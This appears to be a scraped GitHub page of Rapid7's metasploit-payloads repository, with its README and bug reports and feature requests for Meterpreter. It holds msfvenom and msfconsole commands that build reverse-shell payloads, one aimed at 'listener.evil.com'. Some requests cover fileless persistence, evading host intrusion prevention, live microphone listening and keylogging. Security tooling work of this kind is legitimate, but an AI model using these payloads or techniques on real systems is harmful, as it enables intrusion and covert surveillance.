Git Product home page Git Product logo

rapid7 / metasploit-payloads Goto Github PK

View Code? Open in Web Editor NEW
1.7K 206.0 656.0 59.83 MB

Unified repository for different Metasploit Framework payloads

License: Other

Shell 1.30% C 65.01% Assembly 0.05% Makefile 0.44% C++ 2.31% Python 27.45% SAS 0.06% Smalltalk 0.02% Perl 0.02% Ruby 0.17% Java 1.88% PHP 0.42% Batchfile 0.03% Module Management System 0.06% DIGITAL Command Language 0.11% M4 0.05% C# 0.41% Roff 0.16% WebAssembly 0.06% PowerShell 0.02%

metasploit-payloads's Introduction

metasploit-payloads

Appveyor build status: Build Status

This is a unified repository for different Metasploit Framework payloads, which merges these repositories:

An alternate cross-platform C Meterpreter, called Mettle, is developed at https://github.com/rapid7/mettle

See the individual directories for meterpreter-specific README, build instructions and license details:

For Python and PHP Meterpreter, you can test changes to these files by symlinking the associated files to ~/.msf4/payloads/meterpreter. As an example, here is how this might look like for a Python Meterpreter edit:

mkdir ~/.msf4/payloads # If this doesn't exist already
cd ~/git/metasploit-payloads
ln -s /home/gwillcox/git/metasploit-payloads/python/meterpreter/ext_server_stdapi.py /home/gwillcox/.msf4/payloads/meterpreter/ext_server_stdapi.py
file ~/.msf4/payloads/meterpreter/ext_server_stdapi.py
       /home/gwillcox/.msf4/payloads/meterpreter/ext_server_stdapi.py: symbolic link to /home/gwillcox/git/metasploit-payloads/python/meterpreter/ext_server_stdapi.py

If things went right you should see a warning message when selecting one of the corresponding Meterpreter payloads and recieving a session:

msf6 > use payload/python/meterpreter/reverse_tcp
msf6 payload(python/meterpreter/reverse_tcp) > set LHOST 192.168.153.128
LHOST => 192.168.153.128
msf6 payload(python/meterpreter/reverse_tcp) > generate -f raw -o reverse.py
[*] Writing 436 bytes to reverse.py...
msf6 payload(python/meterpreter/reverse_tcp) > to_handler
[*] Payload Handler Started as Job 0

[*] Started reverse TCP handler on 192.168.153.128:4444 
msf6 payload(python/meterpreter/reverse_tcp) > WARNING: Local file /home/gwillcox/.msf4/payloads/meterpreter/meterpreter.py is being used
WARNING: Local files may be incompatible with the Metasploit Framework
[*] Sending stage (24380 bytes) to 192.168.153.1
WARNING: Local file /home/gwillcox/.msf4/payloads/meterpreter/ext_server_stdapi.py is being used
[*] Meterpreter session 1 opened (192.168.153.128:4444 -> 192.168.153.1:50334) at 2022-12-13 12:49:49 -0600

metasploit-payloads's People

Contributors

adfoster-r7 avatar anwarmohamed avatar busterb avatar bwatters-r7 avatar dwelch-r7 avatar egypt avatar gwillcox-r7 avatar jack64 avatar jduck avatar jlee-r7 avatar jmartin-tech avatar joevennix avatar jvazquez-r7 avatar meatballs1 avatar msjenkins-r7 avatar ntalexio2 avatar oj avatar schierlm avatar scriptjunkie avatar sjanusz-r7 avatar smashery avatar smcintyre-r7 avatar stephenfewer avatar timwr avatar todb avatar wchen-r7 avatar wvu avatar wwebb-r7 avatar xenoamess avatar zerosteiner avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

metasploit-payloads's Issues

Meterpreter incorrectly handles stageless URI patching when LURIs are used

The code that is written to update/handle stageless redirect URIs in Windows Meterpreter doesn't correctly patch new URIs into the existing configuration when the LURI setting is used in the payload.

The code does a reverse search for the / character and uses that as a delimiter when figuring out where to patch things in. However, when an LURI is used, it needs to go further back. As a result, when the initial URL using the LURI of flerby looks like this:

https://derp.com/flerby/<horrible-stageless-uuid-mess>

The patched URI after handling looks like this:

https://derp.com/flerby/flerby/<horrible-stageless-redirected-uuid-mess>

Note the double flerby.

We need to remove the assumption that the slash we're looking for is not the second last slash.

whitespace in python meterpreter is weird

It's odd to see python code written with hard-tabs. Guess tab assassin missed a target!

If this is a size issue, I guess we could replace spaces with tabs during the payload encoding phase. Would suggest we replace hard-tabs with 4 spaces per the PEPs.

psh output format arithmetic overflow on Windows 10 (with suggested fix)

Hi.

I'm having trouble finding the related source file, but when generating output in psh format using msfvenom, like this:

msfvenom -p windows/x64/meterpreter/reverse_https -f psh LHOST=listener.evil.com LPORT=443 > meterpreter.ps1

The resulting script will execute fine on 64-bit Windows 7, but on Windows 10 will fail with the error "Arithmetic operation resulted in an overflow". I believe this is because of this line in the generated script:

for ($kKvudCZjHOELPL=0;$kKvudCZjHOELPL -le ($WwKuVAtf.Length-1);$kKvudCZjHOELPL++) {
$eGvqEbkWtwgRWk::memset(IntPtr, $WwKuVAtf[$kKvudCZjHOELPL], 1) | Out-Null

On that line, an attempt is made to convert a pointer to a 32-bit integer, which seems like it will fail on 64-bit architectures if the offset is above the value that can be represented as a 32-bit integer.

I made a quick hacky fix by replacing it in the generated script with ToInt64():

for ($kKvudCZjHOELPL=0;$kKvudCZjHOELPL -le ($WwKuVAtf.Length-1);$kKvudCZjHOELPL++) {
$eGvqEbkWtwgRWk::memset(IntPtr, $WwKuVAtf[$kKvudCZjHOELPL], 1) | Out-Null

The resulting script executes correctly on both Windows 7 64-bit and Windows 10 Enterprise. I have not tested it beyond that.

Apologies if this is a known issue (I couldn't find any discussion of it, other than someone claiming that it was Windows 8 having awesome protection against Metasploit, which is obviously not the case - https://cyberarms.wordpress.com/2012/10/09/windows-8-security-in-action-part-3/), or if this is the wrong location. I'm in the middle of a pen test on tight timeline and wanted to make sure it was documented before I got back to the test :).

broken: python transport adding

After playing with the meterpreter extension the following popped up:

meterpreter > python_execute "import meterpreter.transport;print meterpreter.transport.add('tcp://172.16.218.145:8000')"
[-] Content written to stderr:
Traceback (most recent call last):
File "", line 1, in
File "meterpreter\transport.py", line 62, in add
File "meterpreter\core.py", line 216, in invoke_meterpreter
struct.error: bad char in struct format

After talking to TheColonial on IRC, he pasted the following:

it looks like the bridge code is busted.
hold up just one sec
https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/extensions/python/Lib/meterpreter/core.py#L216 <~ this line

Meterpreter live mic listening?

Hey, is it possible to add a feature for listening the microphone of a phone or a computer in live, like with webcam_stream, but with the microphone? It would be awesome, because record_mic is cool, but not very practical

Request: meterpreter python additional command bindings

Although the python hooks currently support a number of commands, a handful of really useful commands aren't currently supported. The use, upload, download and uuid meterpreter commands come to mind. An example use would be a persistence script, that instead of just using stock methods of persistence, could do things like search for a vulnerable startup method such as a writable path, and upload a bypassed meterpreter dll.

Another would be to automatically start a keyscan and take a screenshot when certain applications were in use. This could be nicely tied in with the AutorunScript command, to automatically capture and report juicy information.

Lastly, with access to the use command a script could first enumerate which applications were installed that had post gather modules, and only these modules could be run to return as much information as possible without having to run each command blindly, or investigating it yourself.

Calling webcam_stop() can cause the session to crash

In some cases, calling webcam_stop (the last step of webcam_snap) causes the session to crash. The Metasploit side of things receives the following exception right before the Meterpreter side crashes:

Rex::Post::Meterpreter::RequestError webcam_stop: Operation failed: The device is not ready

So far this has only occurred on systems that I can't easily debug. Hopefully someone else can reproduce this locally. It looks like the failed stop (due to device not ready) is leaving the webcam code in a bad state. It isn't obvious which particular thing is causing the problem, but smells like a worker thread still running even though the context was freed:
https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/extensions/stdapi/server/webcam/webcam.cpp#L776

python meterp on Windows 10 returns incorrect operating system

Just ran this with a python meterp on my Windows 10 VM:

meterpreter > sysinfo
Computer     : DESKTOP-TF4F7AM
OS           : Windows 8 6.2.9200
Architecture : x64
Meterpreter  : python/windows

The OS here is clearly wrong, so we should probably fix that. The same machine running native meterp shows:

meterpreter > sysinfo
Computer        : DESKTOP-TF4F7AM
OS              : Windows 10 (Build 14393).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows

/cc @zeroSteiner.

An option to make meterpreter sessions a little more verbose

tl;dr: Have the option to make the foreground meterpreter session a little more verbose - to show whats happening behind the scenes ([i] Loaded stdapi).

<TheColonial> "let us know what is going on in a sane way".


So after watching @OJ doing a talk (https://vimeo.com/108076345#t=27m22s), he says:

"Ever got to this point here and run a command, and it said command not found?"
"Why is it that I say I have a session, and I don't?"

His response: If your connection is laggy, or for whatever reason it takes a while for it to upload the next bit, the components haven't been loaded. So if you wait a while, it will probably work.

Why not add in a verbose messages saying: [i] Loading stdapi and/or [i] Loaded stdapi?
The could be in a different style (colour/size/font/status tag) to signal that it's a background action (kind of like with Metasploit console & verbose.
I for one, would love to know what's happening behind the scenes more. I don't mind the extra lines/spam - I would rather know what's going on/what's happening/when it's happening.

If you keep watching/watch from the start - you soon realized how much Meterpreter automating for you.
It would be great to have an in-built option, to show off what is it doing/some of the points that @OJ covers/to show what's happening in a little more depth overall.


After talking to @OJ about it, two points came up: Make sure it's for the active/foreground session & feedback to users who type too early.

<TheColonial> you really only want that for a foreground handler
<TheColonial> background ones you just want a single notification
<TheColonial> I think a better solution would be that if you type a command too early...
<TheColonial> the session says "Patience, Padawan, the session is still wiring up"
<TheColonial> ie. it gives a status
<TheColonial> (still uploading stdapi... etc)
<TheColonial> some random banners would be fun
<TheColonial> "Are you always this impatient?"
<TheColonial> "You tried accessing your session before it was ready. This incident will be reported"

Complete Fileless Start Up

As an example if you were to use a reverse_https payload and you wanted to make it persistent, you would have to have the payload written to disk and the file called at the start up process, but correct me if I am wrong.

So can you add the ability to have a complete fileless start up where the original payload can be deleted from disc and be able to still start up at the next start up point.

Method 1 (This method is much better)
https://blog.gdatasoftware.com/2014/07/23947-poweliks-the-persistent-malware-without-a-file

Method 2
https://www.malwaretech.com/2014/12/phase-bot-fileless-rootki.html

Thanks

Python Meterpreter OSX ifconfig Parsing

There are issues with the OSX Python bindings which are used by the Python meterpreter to gather information from OSX hosts. These bindings should be removed in favor of ifconfig parsing for the following two reasons:

  • The native bindings are a source of instability
  • The native bindings are not available when Python is installed through something like homebrew

CC: @busterb

Migration on Windows 2003 seems to be broken

I'm seeing this happen on Windows 2003 (x86) quite a bit:

meterpreter > migrate 4652
[*] Migrating from 2468 to 4652...
[-] Error running command migrate: Errno::ECONNRESET Connection reset by peer - SSL_accept
meterpreter > help
[*] XX.XX.XX.XX - Meterpreter session 156 closed.  Reason: Died

I haven't had the chance to dive in yet, but it's definitely consistent enough for me to deem it concerning. This happens with both TCP and HTTPS transports.

Calling `sleep` multiple times crashes POSIX Meterpreter

On the MSF side, this is what I see:

[*] Meterpreter session 5 opened (10.1.10.40:5000 -> 10.1.10.40:40312) at 2015-07-12 13:39:14 +1000
ions -i -1
[*] Starting interaction with 5...

meterpreter > sleep 3
[*] Telling the target instance to sleep for 3 seconds ...
[+] Target instance has gone to sleep, terminating current session.

[*] 10.1.10.40 - Meterpreter session 5 closed.  Reason: User exit
msf exploit(handler) >
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1569326 bytes) to 10.1.10.40
[*] Meterpreter session 6 opened (10.1.10.40:5000 -> 10.1.10.40:40313) at 2015-07-12 13:39:24 +1000

msf exploit(handler) > sessions -i -1
[*] Starting interaction with 6...

meterpreter > sleep 3
[*] Telling the target instance to sleep for 3 seconds ...
[+] Target instance has gone to sleep, terminating current session.

[*] 10.1.10.40 - Meterpreter session 6 closed.  Reason: User exit

In the terminal where I run Meterpreter, I see this appear when Meterpreter tries to connect back the second time:

[1]    14798 segmentation fault (core dumped)  /tmp/met.bin

The wait seems to work, as the crash doesn't happen until after the timeout, so it seems reconnect related. It's not resolved in #8 either, so is a different issue altogether.

Windows meterpreter `getprivs` command doesn't obtain all possible privileges

Issue reported by @OJ where the getprivs command doesn't seem to be obtaining all possible privileges.

A closer look at request_sys_config_getprivs show it doesn't check for full list of privileges, it only checks for a subset of possible privileges. I have updated it to check all possible privileges.

Output without fix:

meterpreter > getprivs
============================================================
Enabled Process Privileges
============================================================
  SeShutdownPrivilege
  SeChangeNotifyPrivilege
  SeUndockPrivilege

meterpreter > sysinfo
Computer        : LENOVO-PC
OS              : Windows 10 (Build 14393).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter >

Output with fix:

meterpreter > getprivs
============================================================
Enabled Process Privileges
============================================================
  SeChangeNotifyPrivilege
  SeIncreaseWorkingSetPrivilege
  SeShutdownPrivilege
  SeTimeZonePrivilege
  SeUndockPrivilege

meterpreter > sysinfo
Computer        : LENOVO-PC
OS              : Windows 10 (Build 14393).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter >

Update migrate code to avoid HIPS

These days quite a few HIPS apps, such as Trend and SEP, are able to detect when Meterpreter migrates. The only thing that is surprising about this is that they've only just started doing it.

There are a few other methods that we can start to use to migrate, and so we should look into these to see which would be viable.

This is a good reference for other options as well http://www.slideshare.net/enSilo/injection-on-steroids-codeless-code-injection-and-0day-techniques

Possible meterpreter registry unicode bug

Hi,

I did a quick write up on a possible meterpreter bug https://diablohorn.com/2016/09/27/meterpreter-registry-unicode-quirk-work-around/, I link the blog cause it contains detailed information and a minor root cause analysis. If it's a bug it's contained in the file "c/meterpreter/source/extensions/stdapi/server/sys/registry/registry.c" between the lines 456 - 473.

TL;DR

Looks like meterpreter writes data to registry using Windows 'W' functions even if the data is just ASCII. Did not submit PR since unicode scares me :(

PHP Meterpreter session dies as soon as it's connected

Problem

php/meterpreter/reverse_tcp session dies as soon as it is connected, like the following screenshot:

screen shot 2016-04-06 at 11 11 07 am

## framework.log

LogLevel is at 3, but framework.log has nothing much to show:

[04/06/2016 11:10:06] [w(0)] core: Session 3 has died
[04/06/2016 11:10:35] [d(0)] core: Session 3 did not respond to validation request Rex::TimeoutError: Operation timed out

Setup

The victim machine:

  • Ubuntu 11.10
  • PHP 5.3.6-13

Here's how I generated the payload and executed it:

  1. ./msfvenom -p php/meterpreter/reverse_tcp lhost=IP lport=4444 -f raw -o /tmp/test.php
  2. scp test.php to the Ubuntu box
  3. php test.php (executed as root when I tested it)

meterpreter reverse tcp handling fails with ECONNRESET

When using exploit/multi/handler and setting the payload to reverse_tcp meterpreter the stager will fail. This is consistent and has happened multiple times

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     0.0.0.0          yes       The listen address
   LPORT     8443             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(handler) > exploit 

[*] Started reverse handler on 0.0.0.0:8443 
[*] Starting the payload handler...
[*] Sending stage (957487 bytes) to <REDACTED>
[-] Errno::ECONNRESET Connection reset by peer - SSL_accept

Upgrade Kiwi

Not only is Kiwi out of date, but the code has diverged quite a lot from the current implementation. I need to work with @gentilkiwi to come up with a way of making it easier to include without the pain I have with keeping things in sync.

Request: meterpreter python command parameters

Currently there doesn't seem to be a way to pass command parameters to a python script. This feature would make scripts significantly more useful, as you could tailor it upon launch, as opposed to having slightly different script versions on disk for each host. This would likely require support for the sys module, as well as a change to the python_import command.

Meterpreter reverse_https proxy autodetect issue

I was testing the windows/meterpreter/reverse_https staged payload in a particular environment where the proxy (Forefront) is set to the workstations (Windows 8.1 Enterprise x64) via DHCP option 252 (http://server:port/wpad.dat). These workstations only have the Automatically detect settings option checked on Internet Options and they can only reach Internet through the configured proxy.
Even though the Meterpreter stager does its job properly, successfully downloading Meterpreter and injecting it into memory, I got the error:

meterpreter > sysinfo
[-] Unknown command: sysinfo.
meterpreter >
[-] Meterpreter session <#> is not valid and will be closed

[*] x.x.x.x – Meterpreter session <#> closed.

msf exploit(handler) > 

By sniffing the packets I observed that the stager is effectively using the proxy to reach the listener (CONNECT listener_ip:port HTTP/1.0 ... then ... HTTP/1.1 200 Connection established). However, after downloading the stage, when it closes the connection it can be observed how the stage is trying to establish a TCP connection directly with the listener by sending a SYN packet to the listener’s IP address without using a proxy at all. As the workstations cannot reach Internet directly, the gateway answers with an ICMP error message (destination unreachable).
After enabling the DEBUG messages on Meterpreter I saw the following lines:

[PROXY] AutoDetect: yes
[PROXY] Auto URL: (null)
[PROXY] Proxy: (null)
[PROXY] Proxy bypass: (null)
[PACKET RECEIVE HTTP] sending GET
[PACKET RECEIVE HTTP] Failed send_req: 12002 12002

So, it was detecting the proxy somehow, but then failing to send requests (as expected after watching the direct connection attempt with the sniffer).
After doing some tests with Windows proxy settings, I ended up slightly modifying the code within the /c/meterpreter/source/server/win/server_transport_winhttp.c file (starting at the line 56) to the following:

WINHTTP_AUTOPROXY_OPTIONS autoProxyOpts = { 0 };
WINHTTP_PROXY_INFO proxyInfo = { 0 }; 

if (ieConfig.fAutoDetect)
{
    dprintf("[PROXY] IE config set to autodetect via DHCP or DNS");
 
    autoProxyOpts.dwFlags = WINHTTP_AUTOPROXY_AUTO_DETECT;
    autoProxyOpts.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A;
    autoProxyOpts.lpszAutoConfigUrl = 0;
}
else if (ieConfig.lpszAutoConfigUrl)
{
    dprintf("[PROXY] IE config set to autodetect with URL %S", ieConfig.lpszAutoConfigUrl);
 
    autoProxyOpts.dwFlags = WINHTTP_AUTOPROXY_CONFIG_URL;
    autoProxyOpts.dwAutoDetectFlags = 0;
    autoProxyOpts.lpszAutoConfigUrl = ieConfig.lpszAutoConfigUrl;
}
autoProxyOpts.fAutoLogonIfChallenged = TRUE;

Then I built Meterpreter and it worked properly, finally getting a reverse session.

Not sure if I’m missing something but just took that piece of code and after doing some test I observed that, in the original code, for the proxy auto detection case (ieConfig.lpszAutoConfigUrl == true), it would not go into any branch as “ieConfig.lpszAutoConfigUrl” would not be true. However, what is strange to me is that within that branch the code has the following assignments:

autoProxyOpts.dwFlags = WINHTTP_AUTOPROXY_AUTO_DETECT | WINHTTP_AUTOPROXY_CONFIG_URL;
autoProxyOpts.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A;

As if it had been thought to consider both cases.
Again, not sure if is a bug or I’m missing something.

python meterpreter reverse_tcp sleep command seems to hang from msfconsole

If you run 'sleep' on a python meterpreter session over reverse_tcp, the command dispatcher claims that it has hung, whereas python meterpreter thinks everything is OK:

meterpreter > sleep 20
[*] Telling the target instance to sleep for 20 seconds ...
[-] Error running command sleep: Rex::TimeoutError Operation timed out.
$ [*] running method core_machine_id
[*] running method core_enumextcmd
[*] running method core_loadlib
[*] running method stdapi_sys_config_getuid
[*] running method stdapi_sys_config_sysinfo
[*] running method core_set_uuid
[*] running method stdapi_net_config_get_interfaces
[-] method stdapi_net_config_get_routes was requested but does not exist
[*] running method core_transport_sleep

in _core_transport_sleep, it seems that the self.send_packet that gets returned as a response doesn't get processed by msfconsole. This is different than other commands where the response comes as a return to the command dispatcher:

    def _core_transport_sleep(self, request, response):
        seconds = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT)['value']
        self.send_packet(tlv_pack_response(ERROR_SUCCESS, response))
        if seconds:
            self.transport.deactivate()
            time.sleep(seconds)
            if not self.transport.activate():
                self.transport_change()
        return None

Note that even if you remove the code under 'if seconds', msfconsole still does not see the responses, which makes this look like an issue with self.send_packet(tlv_pack_response(ERROR_SUCCESS, response)) itself.

I experimented with this instead:

    def transport_sleep(self, seconds):
        time.sleep(1)
        self.transport.deactivate()
        time.sleep(seconds - 1)
        if not self.transport.activate():
            self.transport_change()

    def _core_transport_sleep(self, request, response):
        seconds = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT)['value']
        if seconds >= 1:
            t = threading.Thread(target = self.transport_sleep, args = (seconds,))
            t.start()
        return ERROR_SUCCESS, response

and msfconsole sees the response, but then somehow msfconsole sends pymet a shutdown command right afterward, which has obvious problems (maybe this is a bug in msfconsole):

$ [*] running method core_machine_id
[*] running method core_enumextcmd
[*] running method core_loadlib
[*] running method stdapi_sys_config_getuid
[*] running method stdapi_sys_config_sysinfo
[*] running method core_set_uuid
[*] running method stdapi_net_config_get_interfaces
[-] method stdapi_net_config_get_routes was requested but does not exist
[*] running method core_transport_sleep
[*] running method core_shutdown

I've run into issues like that in mettle as well - seems that any time msfconsole gets confused, it sends a shutdown, which means we're getting an error swallowed somewhere on the console side.

Android Payload Crash

I've generated the java payload like this:
msfvenom -p android/shell/reverse_tcp LHOST=1.1.1.1 LPORT=443 -f raw -o /var/www/android.apk

Then installed the apk on 2 android phones running android 5.1 and 4.4.
The app crashes after launching, here's the log:

08-17 22:10:30.536: E/AndroidRuntime(29823): FATAL EXCEPTION: Thread-3291
08-17 22:10:30.536: E/AndroidRuntime(29823): Process: com.metasploit.stage, PID: 29823
08-17 22:10:30.536: E/AndroidRuntime(29823): java.lang.ArrayIndexOutOfBoundsException: length=0; index=0
08-17 22:10:30.536: E/AndroidRuntime(29823): at com.metasploit.stage.Payload.main(Payload.java:64)
08-17 22:10:30.536: E/AndroidRuntime(29823): at com.metasploit.stage.Payload$1.run(Payload.java:42)
08-17 22:10:30.866: E/android.os.Debug(1194): !@dumpstate > sdumpstate -k -t -z -d -o /data/log/dumpstate_app_error

transport removal crashes posix meterp

Should be simple to reproduce:

meterpreter > transport add -t reverse_tcp -l 1.2.3.4 -p 4444
[*] Adding new transport ...
[+] Successfully added reverse_tcp transport.
meterpreter > transport remove -t reverse_tcp -l 1.2.3.4 -p 4444
[*] Removing transport ...

[*] 192.168.100.234 - Meterpreter session 1 closed.  Reason: Died

This works fine on Windows fwiw.

Memory execution + CreateThread doesn't work on Win10/AMD64

Minimal example:

#include <windows.h>

DWORD __stdcall dummy(LPVOID xx) {
	return 0;
}

int main() {
   DWORD threadId;
   HANDLE hThread = CreateThread(
        NULL,
        0,
        dummy,
        NULL,
        0,
        &threadId
    );

 printf("ThreadID: %d, E:%d\n", threadId, GetLastError());

 return hThread? 0 : GetLastError();
}
meterpreter > upload /tmp/testct/main.exe C:\\test\\thread.exe
[*] uploading  : /tmp/testct/main.exe -> C:\test\thread.exe
[*] uploaded   : /tmp/testct/main.exe -> C:\test\thread.exe
meterpreter > execute -i -f C:\\test\\thread.exe
Process 2348 created.
Channel 10 created.
ThreadID: 5652, E:0
meterpreter > execute -i -m -f /tmp/testct/main.exe
Process 3312 created.
Channel 11 created.
ThreadID: 1, E:998
meterpreter > 

Defender disabled,

OS Name:                   Microsoft Windows 10 Home
OS Version:                10.0.14393 N/A Build 14393
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User

Meterpreter python module timeout and crash

I've gotten the following results with a couple of scripts intermittently but have only now found a way to reproduce it reliably. So even though the time module is not officially supported, it does illustrate the same issue I have seen elsewhere.

When running the following script:

import time
print("before delay")
time.sleep(5)
print("after delay")

You get the expected output of :

before delay
after delay

However, when increasing the time delay to 20 seconds, you get the following result:

meterpreter > python_import -f /root/testscript.py
[*] Importing /root/testscript.py ...
[-] Error running command python_import: Rex::TimeoutError Operation timed out.

And no further scripts can be ran. This can sometimes be cleared by running python_reset, but often you get the following:

meterpreter > python_reset
[-] Error running command python_reset: Rex::TimeoutError Operation timed out.

Additionally, if you run the script immediately after receiving the error message, meterpreter crashes, or in my case, rundll32 does, since thats what I was using to launch it. I tested this using metasploit 4.12.25-dev on stock Kali.

Request: meterpreter python real time output

Currently the meterpreter python module only returns script output after the script has finished. This limits the use of background scripts, which could open up possibilities like searching for files/hosts while working on a session, and investigating any that are found, without having to wait a long time for the output. For example, when running the following script:

import time
print("before delay")
time.sleep(5)
print("after delay 1")
time.sleep(5)
print("after delay 2")

The output below is returned all at once after the script has completed:

meterpreter > python_import -f /root/testscript.py
[*] Importing /root/testscript.py ...
[+] Content written to stdout:
before delay
after delay 1
after delay 2

The ideal would be if output was returned in real time as delivered by the script. This was tested on metasploit 4.12.25-dev and stock Kali.

Load bitmap or load Jpeg

this your function converting bitmap to array and ı want to use this array to see screenshot so how can ı load bitmap using the array? or in continue of this functon has convert jpeg to array ;so how to load jpeg to see screenshot ?ı am using windows

int convert_bmp_and_send(HBITMAP hBmp, HDC hDC, Packet *resp){
    // data structures
    BITMAP bmp;
    PBITMAPINFO pbmi;
    WORD cClrBits;
    BITMAPFILEHEADER hdr;       // bitmap file-header 
    PBITMAPINFOHEADER pbih;     // bitmap info-header 
    LPBYTE lpBits;              // memory pointer 
    DWORD dwTotal;              // total count of bytes 
    DWORD cb;                   // incremental count of bytes 
    BYTE *hp;                   // byte pointer 
	DWORD s;
	TCHAR* buf;

	// Convert to JPEG stuff
	unsigned char* buf_jpeg;
	unsigned long buf_jpeg_size = 0;
	struct jpeg_compress_struct cinfo;
	struct jpeg_error_mgr jerr;
    cjpeg_source_ptr src_mgr;
    JDIMENSION num_scanlines;

    // Retrieve the bitmap's color format, width, and height. 
    if (!GetObject(hBmp, sizeof(BITMAP), (LPVOID) &bmp))
        // GetObject failed
        return 0;
    
    // Convert the color format to a count of bits. 
    cClrBits = (WORD)(bmp.bmPlanes * bmp.bmBitsPixel); 
    if (cClrBits == 1) 
      cClrBits = 1; 
    else if (cClrBits <= 4) 
      cClrBits = 4; 
    else if (cClrBits <= 8) 
      cClrBits = 8; 
    else if (cClrBits <= 16) 
      cClrBits = 16; 
    else if (cClrBits <= 24) 
      cClrBits = 24; 
    else cClrBits = 32; 
    
    // Allocate memory for the BITMAPINFO structure. (This structure 
    // contains a BITMAPINFOHEADER structure and an array of RGBQUAD 
    // data structures.) 
    if (cClrBits != 24) 
        pbmi = (PBITMAPINFO) LocalAlloc(LPTR, sizeof(BITMAPINFOHEADER) + sizeof(RGBQUAD) * (DWORD)(1 << cClrBits)); 

    // There is no RGBQUAD array for the 24-bit-per-pixel format. 
    else
        pbmi = (PBITMAPINFO) LocalAlloc(LPTR, sizeof(BITMAPINFOHEADER)); 
  
    // Initialize the fields in the BITMAPINFO structure. 

    pbmi->bmiHeader.biSize = sizeof(BITMAPINFOHEADER); 
    pbmi->bmiHeader.biWidth = bmp.bmWidth; 
    pbmi->bmiHeader.biHeight = bmp.bmHeight; 
    pbmi->bmiHeader.biPlanes = bmp.bmPlanes; 
    pbmi->bmiHeader.biBitCount = bmp.bmBitsPixel; 

    if (cClrBits < 24) 
        pbmi->bmiHeader.biClrUsed = (1<<cClrBits); 

    // If the bitmap is not compressed, set the BI_RGB flag. 
    pbmi->bmiHeader.biCompression = BI_RGB; 

    // Compute the number of bytes in the array of color 
    // indices and store the result in biSizeImage. 
    pbmi->bmiHeader.biSizeImage = (pbmi->bmiHeader.biWidth + 7) /8 
        * pbmi->bmiHeader.biHeight * cClrBits; 

    // Set biClrImportant to 0, indicating that all of the 
    // device colors are important. 
    pbmi->bmiHeader.biClrImportant = 0; 
  
  
    pbih = (PBITMAPINFOHEADER) pbmi; 
    lpBits = (LPBYTE) GlobalAlloc(GMEM_FIXED, pbih->biSizeImage);
    
    
    
    if (!lpBits) {
        // GlobalAlloc failed
        //printf("error: out of memory\n");
        return 0;
    }

    // Retrieve the color table (RGBQUAD array) and the bits 
    // (array of palette indices) from the DIB. 
    if (!GetDIBits(hDC, hBmp, 0, (WORD) pbih->biHeight, lpBits, pbmi, DIB_RGB_COLORS)) {
        // GetDIBits failed
        //printf("error: GetDiBits failed\n");
        return 0;
    }

    hdr.bfType = 0x4d42;        // 0x42 = "B" 0x4d = "M" 
    // Compute the size of the entire file. 
    hdr.bfSize = (DWORD) (sizeof(BITMAPFILEHEADER) + 
                          pbih->biSize + pbih->biClrUsed 
                          * sizeof(RGBQUAD) + pbih->biSizeImage); 
    hdr.bfReserved1 = 0; 
    hdr.bfReserved2 = 0; 

    // Compute the offset to the array of color indices. 
    hdr.bfOffBits = (DWORD) sizeof(BITMAPFILEHEADER) + 
        pbih->biSize + pbih->biClrUsed * sizeof (RGBQUAD); 

	s = sizeof(BITMAPFILEHEADER);
	s = s + (sizeof(BITMAPINFOHEADER)+ pbih->biClrUsed * sizeof (RGBQUAD));
    // Copy the array of color indices into the .BMP file. 
    dwTotal = cb = pbih->biSizeImage; 
    hp = lpBits; 

	s = s + ((int) cb);
	
	buf = (TCHAR *)malloc(s * sizeof(TCHAR));
	memcpy(buf, (LPVOID) &hdr, sizeof(BITMAPFILEHEADER));
